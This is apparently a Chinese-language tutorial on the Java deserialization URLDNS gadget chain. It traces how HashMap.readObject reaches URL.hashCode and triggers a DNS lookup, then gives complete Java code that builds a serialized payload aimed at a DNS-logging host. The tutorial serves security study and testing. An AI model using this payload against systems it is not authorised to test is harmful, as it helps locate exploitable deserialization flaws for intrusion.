java url dns_Java反序列化之URLDNS链分析

预备知识

Java反序列化会调用对应的readobject方法

比如我创建一个类test。序列化test类就会调用writeobject方法，反序列化就会调用test类的readobject方法。默认是存在的。可以重写readobject方法

链子分析

在HashMap中。存在readobject方法。最后会调用hash(key)

然后hash(key)又会调用key.hashCode方法

而URL类又存在一个hashCode方法

hashCode的参数就是this。当前URL对象

当hashCode属性不为-1时就直接return。就不会触发hashCode方法。也就不会触发接下来的DNS解析了

然后调用getHostAddress方法对传入的URL对象。进行解析

Payload:

package cn.itcast.demo;

import java.io.FileInputStream;

import java.io.FileOutputStream;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.HashMap;

import java.net.URL;

public class Test {

public static void main(String[] args) throws Exception {

HashMap map = new HashMap();

URL url = new URL("http://zifh6.l.dnslog.io/");

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");

//获取URL的hashCode属性

f.setAccessible(true);

// 修改访问权限

f.set(url,123);

// 设置hashCode值为123，这里可以是任何不为-1的数字

map.put(url,"123");

//往HashMap中添加Key为URL对象

f.set(url,-1);

// 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发

try{

FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");

ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

outputStream.writeObject(map);

outputStream.close();

fileOutputStream.close();

}catch(Exception e){

e.printStackTrace();

}

}

}